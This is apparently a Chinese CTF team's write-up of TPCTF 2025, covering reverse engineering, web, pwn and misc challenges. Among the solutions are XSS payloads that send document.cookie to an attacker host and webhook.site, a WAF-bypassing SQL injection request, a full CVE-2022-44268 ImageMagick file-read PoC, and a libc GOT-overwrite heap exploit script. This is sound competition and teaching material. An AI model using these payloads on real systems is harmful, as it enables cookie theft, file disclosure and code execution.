XCTF-TPCTF 2025 WP

admin 2025年3月12日22:38:51评论25 views字数 28658阅读95分31秒阅读模式

-联合战队|共同成长-
TPCTF 2025 WP
XCTF-TPCTF 2025 WP

TPCTF-XCTF rk6

Reverse

portable

https://justine.lol/ape.html

actually portable executable

该题使用的不是传统的 libc 而是静态链接的 cosmopolitan libc

而我们手上没有它的符号信息

所以库函数是几乎没法分析的

首先先看 strings

XCTF-TPCTF 2025 WP

找不到它们的引用

不过可以寻找立即数

XCTF-TPCTF 2025 WP

找到函数 407f30

但在 F5 之前需要先调整调用约定

IDA 是以 PE 文件打开的所以默认 MSVC 的调用约定

然而本题似乎是在 linux 上编译的

直接在 IDA 选项里修改调用约定

然后 F5 可以看到一大堆 std::cin 和 std::cout 的构造/销毁代码

它们虽然是内联的不过长的差不多

可以折叠起来

直接跳到最后的比较

XCTF-TPCTF 2025 WP

std::string 的规则:

如果长度小于 16 个字符

bit0 flag=0

bit1-7 len

char c_str[15]

如果长度大于 16 字符

bit0 flag=1

bit1-7 dummy_0

char dummy_1[7]

uint64_t len

char *c_str

XCTF-TPCTF 2025 WP

可以看出这里其实就是一个 OTP

XCTF-TPCTF 2025 WP
k=b'Cosmopolitan'
b=ida_bytes.get_bytes(0x46b2c0,66)
t=bytes(k[i%12]^b[i] for i in range(len(b)))
t.decode('utf-8')

wE1com3_70_tH3_W0RlD_of_αcτµαlly_pδrταblε_εxεcµταblε

TPCTF{wE1com3_70_tH3_W0RlD_of_αcτµαlly_pδrταblε_εxεcµταblε}

chase

用misc思维做的(雾)

.nes文件,用FCEUX分析,第一部分很简单,直接玩游戏即可,当然也可以开挂,游戏获胜条件是得到要求的金币数,找到对应的值,这里为83,改为0即可一路通关:

XCTF-TPCTF 2025 WP

经过不断调试发现AB对应的值和场景有关,每个场景对应值固定且范围普遍在0-60之间,那么尝试爆破,调整AB的值,改内存时发现会有随机性,相同的值不保证每次的闪烁结果相同,这里是尝试到0x15时看到flag2:

XCTF-TPCTF 2025 WP

flag3很简单,看PPU Viewer即可:

XCTF-TPCTF 2025 WP

注意数字和字母的颜色不同,flag:

TPCTF{D0_Y0U_L1KE_PLAY1N9_6@M3S_ON_Y0UR_N3S?}

obfuscator

找字符串有

Copyright 2018-2025 the Deno authors. MIT license.

https://github.com/denoland/deno

(注意力惊人)

根据它的源码可以注意到在文件的末尾存在一个以 d3n0l4nd 开头的数据块

(Aaron 我的神)

该数据块中存储了 javascript 的源码

with open('flag_checker','rb'as fp:
    fp.seek(0x04bb2889)
    b=fp.read(0x04dc3b9d-0x04bb2889)

with open('protected.js','wb'as fp:
    fp.write(b)

源码很大而且根据题目它是混淆过的

head -c 128 protected.js

// Job ID: z8qehse5zx5t

let HbGI;!function(){const Aevx=Array.prototype.slice.call(arguments);return eval("(function Y4QD(HkYv){

查询标志性开头可以找到一个解混淆器

https://github.com/JorianWoltjer/deobfuscate-preemptive

Deobfuscate PreEmptive's JSDefender Demo

./deobfuscate.js ~/CTF/25/TPCTF/obfuscator/protected.js > protected_deobf.js

XCTF-TPCTF 2025 WP

又是 gzip 的套娃

from base64 import b64decode
import re
import gzip

with open('protected_deobf.js','r'as fp:
    fp.readline()
    fp.readline()
    line=fp.readline()
    m=re.search(r',([0-9a-zA-Z+/=]+)"',line)
    e64=m.group(1)
    e64=e64.encode()


with open('test','wb'as fp:
    gz=b64decode(e64)
    test=gzip.decompress(gz)
    fp.write(test)

file test

test: WebAssembly (wasm) binary module version 0x1 (MVP)

又是 wasm 的套娃

wasm-decompile test -o dec.txt

它实际上是由这个项目编译的

https://github.com/golangbot/webassembly/

其实就是把 go 语言编译成了 wasm

在 dec.txt 寻找 Flag 可以找到这一段

  "0wafc92t82Ae1c17e6d618e6path9command-line-argumentsa"
  "dep9github.com/fatih/color9v1.18.09h1:S8gINlzdQ840/4pfAwic/ZE0dj"
  "QEH3wM94VfqLTZcOM=adep9github.com/mattn/go-colorable9v0.1.139h"
  "1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=adep9github.com/matt"
  "n/go-isatty9v0.0.209h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY"
  "=abuild9-buildmode=exeabuild9-compiler=gcabuild9-ldflags=""
  "   -X 'main.encryptedFlag=5ab82be11ac991707e166bbfcbf05cb5776b0ecb34ce"
  "659e6209542fecba7ab6ec82f44c1ab55e4f4fb06b37ef935b08'   -X 'main.maske"
  "dKey=960937ed01e77d7662565988a67abbfe0a2c11742abd00d6cf74de094447f7d3'"
  "   -X 'main.maskedIV=a7ccfe57d2af1deb1a0088517c0a9240'   -X 'main.mask"
  "=5dabc0b2b7296eefeaadd177746adb4acb2439e7990792cc7fdb7124b1a2633d'   -"
  "s -w "abuild9CGO_ENABLED=0abuild9GOARCH=wasmabuild9GOOS=js"

调试信息(大概是吧)里泄漏了编译时使用的命令

而 flag 密文是通过命令行传入的

还有个 mask 应该提示要作 XOR

在 dec.txt 里寻找运行程序时显示的字符串 S3CUR3...

可以在附近看到 AES CBC 相关的报错字符串

于是尝试 AES CBC

from Crypto.Cipher import AES

encryptedFlag=bytes.fromhex("5ab82be11ac991707e166bbfcbf05cb5776b0ecb34ce659e6209542fecba7ab6ec82f44c1ab55e4f4fb06b37ef935b08")
maskedKey=bytes.fromhex("960937ed01e77d7662565988a67abbfe0a2c11742abd00d6cf74de094447f7d3")
maskedIV=bytes.fromhex("a7ccfe57d2af1deb1a0088517c0a9240")
mask=bytes.fromhex("5dabc0b2b7296eefeaadd177746adb4acb2439e7990792cc7fdb7124b1a2633d")
Key=bytes(a^b for a,b in zip(maskedKey,mask))
IV=bytes(a^b for a,b in zip(maskedIV,mask))
aes=AES.new(key=Key,mode=AES.MODE_CBC,iv=IV)
x=aes.decrypt(encryptedFlag)
print(x)

TPCTF{m47r3shk4_h4ppy_r3v3r53_g@_w45m}

linuxpdf

自己用项目搭建个 64 位版本 diff 一下后发现就只有 var embedded_files 这一行不同,写个小脚本提取一下文件。

import json
import base64
import zlib
from pathlib import Path

with open("files.js""r"as f:
    js_content = f.read()

json_str = js_content.split("var embedded_files = ")[1].split(";")[0]
embedded_files = json.loads(json_str)
for rel_path, data_b64 in embedded_files.items():
    output_path = Path("extracted_files") / rel_path
    output_path.parent.mkdir(parents=True, exist_ok=True)

    # Base64 解码
    data_compressed = base64.b64decode(data_b64)
    
    # zlib 解压
    data_original = zlib.decompress(data_compressed)
    
    # 写入文件
    with open(output_path, "wb"as f:
        f.write(data_original)

直接搜索字符串 Flag: 就能找到要逆向的文件 extracted_files/root/files/00000000000000a9

IDA9 打开,直接就能看到代码。

XCTF-TPCTF 2025 WP

主函数读取29个字符的输入,调用sub_2948函数。sub_2948函数处理当前字符串的MD5哈希,并与预存哈希比较。unk_4008 是预存的一批哈希值。

最后一个哈希值只有两个字符,使用 hashcat 爆破出最后一个哈希 CB0FC813755A45CE5984BFBA15847C1E 的对应值是 F},再写个脚本爆破一下就能出flag了。

import hashlib

hashes = [
    "38F88A3BC570210F8A8D95585B46B065""83055AE80CDC8BD59378B8628D733FCB""FA7DAFFBD7ACEC13B0695D935A04BC0F",
    "C29CC0FD3801C7FDD315C782999BD4CB""2BA2D01AF12D9BE31A2B44323C1A4F47""DDEEBAF002527A9EAD78BD16684573CC",
    "BF95B89934A1B555E1090FECDFD3DA9F""B6422C30B02938535F8E648D60A87B94""08C1B76643AF8DD50CB06D7FDD3CF8ED",
    "42D69719F97088F06540F412DC1706FB""A1F23DA61615400E7BD9EA72D63567EB""4E246F0A5DD3CE59465FF3D02EC4F984",
    "B8CF25F963E8E9F4C3FDDA34F6F01A35""2D98D820835C75A9F981AD4DB826BF8E""702EAD08A3DD56B3134C7C3841A652AA",
    "D2D557B613662B92F399D612FB91591E""E4422B6320ED989E7E3CB97F369CBA38""71803586C67059DDA32525CE844C5079",
    "83B371801D0ADE07B5C4F51E8C6215E2""B0D1B4885BC2FDC5A665266924486C5F""792C9E7F05C407C56F3BEC4CA7E5C171",
    "3855E5A5BBC1CBE18A6EAB5DD97C063C""886D45E0451BBBA7C0341FE90A954F34""3A437CBE6591EA34896425856EAE7B65",
    "34304967A067308A76701F05C0668551""D6AF7C4FEDCF2B6777DF8E83C932F883""DF88931E7EEFDFCC2BB80D4A4F5710FB",
    "CB0FC813755A45CE5984BFBA15847C1E"
]

current_flag = "F}"

# 从倒数第二个哈希开始逆序处理
for i in range(len(hashes) - 2-1-1):
    target_hash = hashes[i]
    found = False
    for c in range(32127):
        candidate = chr(c) + current_flag
        md5_hash = hashlib.md5(candidate.encode()).hexdigest().upper()
        if md5_hash == target_hash:
            current_flag = candidate
            found = True
            print(f"Found for hash {target_hash}{current_flag}")
            break
    ifnot found:
        print(f"Failed to find character for hash {target_hash}")
        exit()

print("Final flag:", current_flag)
# Final flag: TPCTF{mag1c_RISC-V_linux-PDF}

magicfile

文件比较大

先 strings

XCTF-TPCTF 2025 WP

搜索这个字符串可以知道该题目静态链接了 libmagic

objdump -h 显示实际上比较大的是 .rodata 节而不是 .text 节

XCTF-TPCTF 2025 WP

因此拖到 IDA 中分析

  s = (char *)malloc(0x64uLL);
printf("Please input the flag: ");
  __isoc99_scanf("%100s", s);
if ( strlen(s) == 48 )
  {
    ptr = (void *)sub_5890(0LL);
    sub_58E0(ptr, &off_119B018, &off_119B010, 1LL);
    v4 = strlen(s);
    v7 = (char *)sub_59A0(ptr, s, v4);
    puts(v7);
    sub_58A0(ptr);
  }
else
  {
    puts("Try again.");
  }

flag 长度 48

测试一下

perl -e "print 'a'x48" | ./magicfile

Please input the flag: ASCII text, with no line terminators

容易知道出题的操作系统是 Ubuntu 22.04

在 docker 里运行一个并下载 libmagic-dev 包

拷贝 /usr/lib/x86-64-linux-gnu/libmagic.a

然后 sigmake 给 IDA 导入符号

看了一下似乎没有魔改

sub_58e0 就是 libmagic 的加载函数

XCTF-TPCTF 2025 WP

21004 存储了 1c 04 1e f1 也就是 .mgc 的开头

经过检查 116f9f8 是这个 .mgc 的长度

.rodata 节主要就是存储 magic 数据库 (.mgc 文件)

也说明了为啥它这么大

将它 dump 下来

fp=open("dump.mgc","wb")
b=ida_bytes.get_bytes(0x21004,0x116f9f8)
fp.write(b)
close(fp)
XCTF-TPCTF 2025 WP

https://github.com/file/file/blob/242c85c49244e186c39973b64d6f4eb288f09873/src/file.h#L223

阅读源码里的 struct magic

可以知道

  • offset 位于 12-15 字节
  • 需要比较的值位于 32 字节
  • 输出位于 160 字节
  • 操作符位于第 4 字节
  • 从 = 操作符重现的频率可以知道 magic 结构体在文件中的长度是 0x178

这时候注意到

  • 输入的开头必须是 TPCTF{
  • 绝大部分的输出是 Try again

于是寻找不是 Try again 的输出

XCTF-TPCTF 2025 WP

检查它附近的 magic 结构体

XCTF-TPCTF 2025 WP

缺第一个字符

但可以很容易猜测出来是 Y

TPCTF{YoU_AR3_SO_5m@R7_TO_cRACk_Th1$_m@9iC_f1le}

stone-game

题目还是挺简单的,简单来说就是给了七个部分,每个部分都有1-100个石头,每次可以取每个部分的若干个石头,看最后谁取到最后一个石头谁就获胜,总共100轮,赢了90轮+就可以获得flag。

由于ai比较蠢,因此玩法如下

第一轮:
x1 x2 x3 x4 x5 x6 x7
user: x1 x2 x3 x4 0 0 0 -> 使得前四部分数量=0 -> 0 0 0 0 x5 x6 x7
ai: 会从剩下三部分中取完其中一个部分 -> 0 0 0 0 0 x6 x7

第二轮:
0 0 0 0 0 x6 x7
user: 0 0 0 0 0 x6-1 x7-1 -> 剩下两部分就只剩一个 -> 0 0 0 0 0 1 1
ai: 只能从剩下两部分取1个了 -> 0 0 0 0 0 0 1

第三轮:
直接取剩下的1个即可,就赢噜

就这样玩100把就ok了,本来想着写脚本的,但是pwntools连接不上环境,不知道为什么,那就硬玩吧:

XCTF-TPCTF 2025 WP

Web

baby layout

给了docker附件,简单分析了一下源码:

在index.js文件中,看到了有使用DOMPurify库来防止XSS操作,然后在package.json文件中可以看到DOMPurify的版本为3.2.4,本来以为是考的这个绕过的0day,同时也是有这方面的挑战:

DOMPurify 3.2.3 February XSS Challenge

但是并没有发现有什么绕过方法,并且这里的版本是最新的3.2.4,在官方的github上提供了一个demo网站,我们可以用来测试,比如最常见的script标签,就会被优化掉:

XCTF-TPCTF 2025 WP

同时看bot的文件,可以知道是需要获取到bot的cookie:

await context.setCookie({
name: 'FLAG',
value: FLAG,
domain: APP_HOST,
httpOnly: false,
sameSite: 'Strict',
});

httponly被设置为了false,那么是可以直接使用js脚本获取的。

打XSS,最好用的一般就是img标签,可以直接尝试打一下看看回显:

<img src=a onerror=alert(1)>

先传Create New Layout然后传Create New Post,可以看到如下回显:

XCTF-TPCTF 2025 WP

成功被解析成img标签,可以再看一下前端的标签构造:

XCTF-TPCTF 2025 WP

这里进行了很多的尝试,一直绕不过去。最后看着这个DOMPurify库函数的调用,想着是不是代码逻辑之间的问题,那么去仔细审一下源码,果然有问题,主要漏洞点存在于如下两个路由:

app.post('/api/post', (req, res) => {
const { content, layoutId } = req.body;
if (typeof content !== 'string' || typeof layoutId !== 'number') {
    return res.status(400).send('Invalid params');
  }

if (content.length > LENGTH_LIMIT) return res.status(400).send('Content too long');

const layout = req.session.layouts[layoutId];
if (layout === undefinedreturn res.status(400).send('Layout not found');

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/{{content}}/g, () => sanitizedContent);

if (body.length > LENGTH_LIMIT) return res.status(400).send('Post too long');

const id = randomBytes(16).toString('hex');
  posts.set(id, body);
  req.session.posts.push(id);

console.log(`Post ${id} ${Buffer.from(layout).toString('base64')} ${Buffer.from(sanitizedContent).toString('base64')}`);

return res.json({ id });
});

app.post('/api/layout', (req, res) => {
const { layout } = req.body;
if (typeof layout !== 'string'return res.status(400).send('Invalid param');
if (layout.length > LENGTH_LIMIT) return res.status(400).send('Layout too large');

const sanitizedLayout = DOMPurify.sanitize(layout);

const id = req.session.layouts.length;
  req.session.layouts.push(sanitizedLayout);
return res.json({ id });
});

/api/layout路由是会将过滤后的值放进 session.layouts,然后在 /api/post路由,有读取出

这个 session.layouts相对应的layoutId的值,然后,还有个替换操作:

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/{{content}}/g, () => sanitizedContent);

可以看到是先进行的检测操作,然后再进行的替换,那么,可以在这里可以通过在 /api/layout路由传进一个无害的payload的一部分,并拼接上 {{content}},然后在第二个 /api/post路由再次传进另外一部分无害的payload的组成部分,最后合起来就是一个完整的可利用的payload,尝试一下,这里将前面的img标签的payload分成经demo网站测试可以如下两部分:

<img src=a{{content}}>
 onerror=alert(1

第一次在Create New Layout传第一行的,然后在Create New Post传第二行的,可以得到如下内容:

XCTF-TPCTF 2025 WP

成功了,那么现在就是需要绕一下引号那些,经测试发现如下可以打(后面发现好像不需要注释也行,也刚好闭合):

" onerror=alert(1)>\

成功弹窗:

XCTF-TPCTF 2025 WP

然后使用fetch函数直接获取cookie即可:

<img src=a{{content}}>

"onerror=fetch(`http://[ip]:2333/`+document.cookie)>\

操作还是和之前的一样,然后在自己服务器上传监听端口即可。

然后将url上的随机值发给admin bot即可:

XCTF-TPCTF 2025 WP

最后拿到flag:

XCTF-TPCTF 2025 WP

safe layout

历史漏洞https://yaniv-git.github.io/2024/12/08/DOMPurify%203.2.1%20Bypass%20(Non-Default%20Config)/

然后题目这里加了{{content}}的replace,可能是根据这个洞然后加了点东西来出的题目。然后用历史payload加上自己测试来bypass.这里主要是闭合标签,然后加了个来xss。

payload:

<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
  <! ${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/9632cdeb-601e-487f-8b41-719570f65446?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>

TPCTF{D0_n07_M0D1FY_7h3_0U7PU7_Af73R_H7mL_5aN171z1n9}

使用这个payload直接创建一个layout,然后post文章的时候传空的即可

XCTF-TPCTF 2025 WP

supersqli

看到这类的waf有点走不动道

XCTF-TPCTF 2025 WP

第一反应是绕过waf,这里尝试了两种思路

一开始想到是http走私,但是没走成,前后都处理了TE头

XCTF-TPCTF 2025 WP

https://www.geekby.site/2022/03/waf-bypass/#multipart-%E6%B7%B7%E6%B7%86

想着可以通过这种方式,waf那里把password当成文件,而后端又把password覆盖了

XCTF-TPCTF 2025 WP

对着这篇文章改了一下,UNION SELECT递归拼接sql语句自身,replace绕过字符限制

通过docker log也能看出传入的是一个username并且有一个post请求,验证了猜想

POST /flag/ HTTP/1.1
Host: 1.95.159.113
Content-Length: 523
Cache-Control: max-age=0
Origin: http://1.95.159.113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://1.95.159.113/flag/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: multipart/form-data; boundary=a
Connection: close

--a
Content-Disposition: form-data; name="username"

admin
--a
Content-Disposition: form-data; name="password";filename="password"
Content-Disposition: form-data; name="password";

'UNION SELECT 1,"admin",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT "'UNION SELECT 1,""admin"",substr(query,1,149)||char(34)||replace(substr(query,1),char(34),char(34)||char(34))||char(34)||substr(query,149) FROM(SELECT as query)--" as query)--
--a--
XCTF-TPCTF 2025 WP

thumbor 1

比较 thumbor 1和 thumbor 2的 Dockerfile,可以发现 thumbor 2 多装了个 imagemagick

查看 imagemagick 的历史漏洞,可以找到 CVE-2022-44268

https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268

用里面的 poc 打就行了

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'x00x00x00nx00x00x00nx08x02x00x00x00'
IDAT = b'xx9cxbdxccxa1x11xc0 x0cFxe1xb4x03Dx91x8b`xffmx98x010x89x01xc5x00xfcxb8nx8eVxf6xd9' 
       b'xefxee])%zxefxfexb0x9fxb8xf7^J!xa2Zkkmxe7x10x02x80x9cxf3x9cSDx0esUx1dcxa8xeaax0exc0' 
       b'xccbx8cfx06`gwgfx11afwx7fxx01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'n'1)
    return binascii.unhexlify(data.replace(b'n'b'')).decode()


def read(filename: str):
    ifnot filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'x00'1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    ifnot to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb'as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt"b"profilex00" + read_filename.encode())
        png.write_chunk(f, b'IEND'b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate''parse'))
    parser.add_argument('-i''--input', type=str, help='input filename')
    parser.add_argument('-o''--output', type=str, help='output filename')
    parser.add_argument('-r''--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()
python poc.py generate -o poc.png -r /flag

将生成的图片放vps里,让靶机访问

http://1.95.57.127:3501/thumbor/unsafe/450x/[ip:port]/poc.png

保存图片,然后用poc.py解析

python poc.py parse -i ccc.png

读/flag读到的是16进制字符串,转一下即可

XCTF-TPCTF 2025 WP
XCTF-TPCTF 2025 WP

safe layout revenge

revenge这个题目使用这个题目的payload也可以打,可能是前面并不是预期解吧。

比较了一下差异,发现就是加了点过滤,但是我一开始的思路就是把不允许存在属性绕过了,所以这里加的过滤并不影响。

XCTF-TPCTF 2025 WP

历史漏洞https://yaniv-git.github.io/2024/12/08/DOMPurify%203.2.1%20Bypass%20(Non-Default%20Config)/

然后题目这里加了{{content}}的replace,可能是根据这个洞然后加了点东西来出的题目。然后用历史payload加上自己测试来bypass.这里主要是闭合标签,然后加了个来xss。

payload:

<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
<style>
  <! ${a<{{content}}/style><{{content}}img src=x onerror="fetch('https://webhook.site/4b236160-a476-4b5c-ae2a-64ff6ea32a1a?flag='+document.cookie)">
</style>
}
<foo-b id="><img{{content}}hmm..</foo-b>
</a></table></li></mi></foo-test></math>

TPCTF{AlS0_r3M3M83r_t0_d1SA8l3_daTa_AND_aR1A}

使用这个payload直接创建一个layout,然后post文章的时候传空的即可

XCTF-TPCTF 2025 WP

Pwn

EzDB

Libc 2.35,off by one篡改record的size,使记录的size大于实际地址,从而使用show泄漏出libc基地址,并使用edit实现堆溢出。通过溢出篡改page对象中的指针,使下次insert record时,记录可以插入到任意地址,获得任意地址写。按理来说2.35后,篡改free_hook、malloc_hook等不会引起跳转。但是实际上libc默认使用懒连接,got表,可写,libc中的got表可以当作hook使用,如strlen的got表可以当作“puts_hook”,如果环境不符合ogg,可以篡改其他函数got表,程序会变换进入ogg的时机,从而不断尝试符合的ogg。这里运气比较好,strlen的got即可满足条件。

#!/bin/python3
from pwn import *
from std_pwn import *

context.arch='amd64'
context.os='linux'
context.log_level = 'debug'
context.timeout = 10000
context.terminal = ['tmux''splitw''-h']

elf=ELF('./db')
libc=ELF('./libc.so.6')


recv_idx=b'Index:'
recv_len=b'Varchar Length:'
recv_content=b'Varchar:'
recv_menu=b'>>>'

def cmd(num):
    sla(recv_menu,str(num).encode())

def add(idx):
    cmd(1)
    sla(recv_idx,str(idx).encode())

def free(idx):
    cmd(2)
    sla(recv_idx,str(idx).encode())

def insert_record(idx,len,content):
    cmd(3)
    sla(recv_idx,str(idx).encode())
    sla(recv_len,str(len).encode())
    sa(recv_content,content)

def show(idx,id):
    cmd(4);
    sla(recv_idx,str(idx).encode())
    sla(b"Slot ID:",str(id).encode())

def edit(idx,id,len,content):   
    cmd(5)
    sla(recv_idx,str(idx).encode())
    sla(b"Slot ID:",str(id).encode())
    sla(recv_len,str(len).encode())
    if type(content) == str: content = content.encode()
    sa(recv_content,content)

getProcess("61.147.171.106",59264,"./db")

add(0)
add(1)
add(2)
add(3)

insert_record(0,0x3fd,b'x04'+b'a'*0x3fc)

show(0,0)
ru(p64(0x31))

heap_base = uu64(ru(b'x00')[:-1]) - 0x12720
success(f"heap_base={hex(heap_base)}")

edit(0,0,0x40d,b'x04'+b'a'*0x3fc+p64(0)+p64(0x441))

free(1)

show(0,0)
libc_base=uu64(ru(b'x7f')[-6:])- 0x21ace0
success(f"libc_address={hex(libc_base)}")

one_gadget=libc_base+0xebc85
libc_strlen_got=0x21a098+libc_base
add(1)

payload=b'x04'+b'a'*0x3fc+p64(0)+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0x31)+p64(libc_strlen_got)+p64(libc_strlen_got-0x50)+p64(libc_strlen_got+8)+p64(libc_strlen_got)
edit(0,0,len(payload),payload)

gdba()
insert_record(1,0x10,p64(one_gadget)*2)

# gdba()
ita()

Misc

raenil

牢cain说透视变换,拦不住小misc手硬拼:

XCTF-TPCTF 2025 WP

直接扫后面位会有缺失,用Padding Bits Recovery功能修复:

XCTF-TPCTF 2025 WP

纠错等级L,14%左右的误码率:

XCTF-TPCTF 2025 WP

那么直接Reed-Solomon Decoder即可:

XCTF-TPCTF 2025 WP

flag:

TPCTF{LIHHHHAWJ2123089hj091j2s++_+___+SO_FUN!!!}

nanonymous spam

发现不同的IP对应的user不同,并且user字符串的格式符合ipv4结构,改请求头的X-REAL-IP批量拿数据找规律,脚本如下:

import requests

url = 'http://1.95.184.40:8520'

# base = 103

# a.b.c.d ->  a*base^3 + b*base^2 + c*base^1 + d*base^0 -> number -> name

# name 排序 name[4]   name[3]   name[1]   name[2]


def num2ip(num:int):
    a = num // 256**3
    b = (num - a*256**3) // 256**2
    c = (num - a*256**3 - b*256**2) // 256
    d = num - a*256**3 - b*256**2 - c*256
    returnf'{a}.{b}.{c}.{d}'

cnt = 0

whileTrue:

    headers = {
        'X-Real-IP': num2ip(cnt)
    }

    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        name = response.text.split('n')[203][34:-6]
        
        print(f'{cnt//(513*103)} {name}')

        cnt += 513*103

获得的namlist如下,每组字段对应一张表:

name4 = ['Puc', 'Maz', 'Doh', 'Hun', 'Cud', 'Vit', 'Wer', 'Hag', 'Din', 'Feb', 'Gui', 'Rak', 'Vac', 'Kim', 'Pol', 'Som', 'Saa', 'Hac', 'Xie', 'Ses', 'Van', 'Nef', 'Mia', 'Tab', 'Pid', 'Ver', 'Cay', 'Jog', 'Jar', 'Lan', 'Hex', 'Soe', 'Lid', 'Fip', 'Wet', 'Ner', 'Dey', 'May', 'Dua', 'Dez', 'Gut', 'Sag', 'Kor', 'Yon', 'Haa', 'Par', 'Fat', 'Vel', 'Yum', 'Wac', 'Poe', 'Yes', 'Rex', 'Gop', 'Cit', 'Val', 'Xix', 'Bit', 'Mig', 'Mib', 'Gaa', 'Sat', 'Mex', 'Geo', 'Doi', 'Mou', 'Dol', 'Joy', 'Caa', 'Dix', 'Nat', 'Boj', 'Mad', 'Pew', 'Nev', 'Sas', 'Rin', 'Dal', 'Joo', 'Vii', 'Tid', 'Hap', 'Sea', 'Cae', 'Cab', 'Nea', 'Wan', 'Mem', 'Nam', 'Mao', 'Pov', 'Pio', 'Bey', 'Vas', 'Jee', 'Not', 'Lat', 'Sud', 'Bog', 'Hue', 'Rio', 'Got', 'Liu', 'Lax', 'Fec', 'Duc', 'Rec', 'Mas', 'Cig', 'Vox', 'Rov', 'Pow', 'Sil', 'Gac', 'Pet', 'Yay', 'Sad', 'Ram', 'Box', 'Wag', 'Nin', 'Lib', 'Tou', 'Dae', 'Tau', 'Teo', 'Sod', 'Hoy', 'Tip', 'Cer', 'Wee', 'Nov', 'Keg', 'Nit', 'Wok', 'Hin', 'Tue', 'Ron', 'Roi', 'Vos', 'Sao', 'Kia', 'Tix', 'Mip', 'Cub', 'Nah', 'Hot', 'Wic', 'Yar', 'Sic', 'Sar', 'Kok', 'Fee', 'Yuk', 'Hoo', 'Hei', 'Dap', 'Cen', 'Las', 'Guy', 'Jon', 'His', 'Moo', 'Roz', 'Fac', 'Fir', 'Ham', 'Rad', 'Foi', 'Sof', 'Poo', 'Toa', 'Kos', 'Sei', 'Dof', 'Get', 'Bap', 'Kes', 'Die', 'Dad', 'Pea', 'Nus', 'Tit', 'Ros', 'Nay', 'Moa', 'Zen', 'Mam', 'Heb', 'Fab', 'Rib', 'Cao', 'Hey', 'Wot', 'Soo', 'Kai', 'Cem', 'Rom', 'Uaw', 'Zed', 'Noi', 'Sab', 'Tes', 'Gob', 'Jax', 'Nob', 'Bao', 'Tos', 'Tor', 'Mep', 'Pan', 'Har', 'Guv', 'Foa', 'Nih', 'Cim', 'Pig', 'Jot', 'Sop', 'Duh', 'Jia', 'Nil', 'Fib', 'Kei', 'Gad', 'Toy', 'Pim', 'Gel', 'Cet', 'Hal', 'Wen', 'Yah', 'Nup', 'Jai', 'Paw', 'Pos', 'Qed', 'Tel', 'Gay', 'Liv', 'Bus', 'Fop', 'Pia', 'Miu', 'Ked', 'Fea', 'Fob', 'Sel', 'Miz', 'Lor', 'Tay', 'Pot', 'Tac', 'Wei', 'Mug', 'Dat', 'Wal', 'How', 'Yow', 'Pax']
name1 = ['Nod', 'Tap', 'Liz', 'Mel', 'Fig', 'Rif', 'Rip', 'Pud', 'Foo', 'Haw', 'Wef', 'Kel', 'Gat', 'Hod', 'Mom', 'Lin', 'Fez', 'Rua', 'Fay', 'Pat', 'Ned', 'Taz', 'Sid', 'Mic', 'Nom', 'Hab', 'Rug', 'Men', 'Nok', 'Fun', 'Pox', 'Red', 'Jah', 'Tet', 'Hip', 'Tem', 'Bad', 'Mir', 'Taj', 'Maf', 'Rac', 'Zia', 'Hea', 'Fis', 'Dem', 'Bim', 'Gow', 'Hub', 'Job', 'Nex', 'Jas', 'Lie', 'Sim', 'Poc', 'Ran', 'Voa', 'Gig', 'Jes', 'Nie', 'Lal', 'Lek', 'Pen', 'Cos', 'Col', 'Nao', 'Mop', 'Bac', 'Cis', 'Mor', 'Vim', 'Ceo', 'Gic', 'Mii', 'Dep', 'Len', 'Few', 'Lob', 'Lea', 'Bec', 'Mui', 'Pec', 'Mab', 'Her', 'Tas', 'Tui', 'Kun', 'Vic', 'Too', 'Woe', 'Uav', 'Dam', 'Jin', 'Kaz', 'Yew', 'Cid', 'Jaw', 'Hay', 'Gib', 'Mis', 'Til', 'Six', 'Bot', 'Guo']
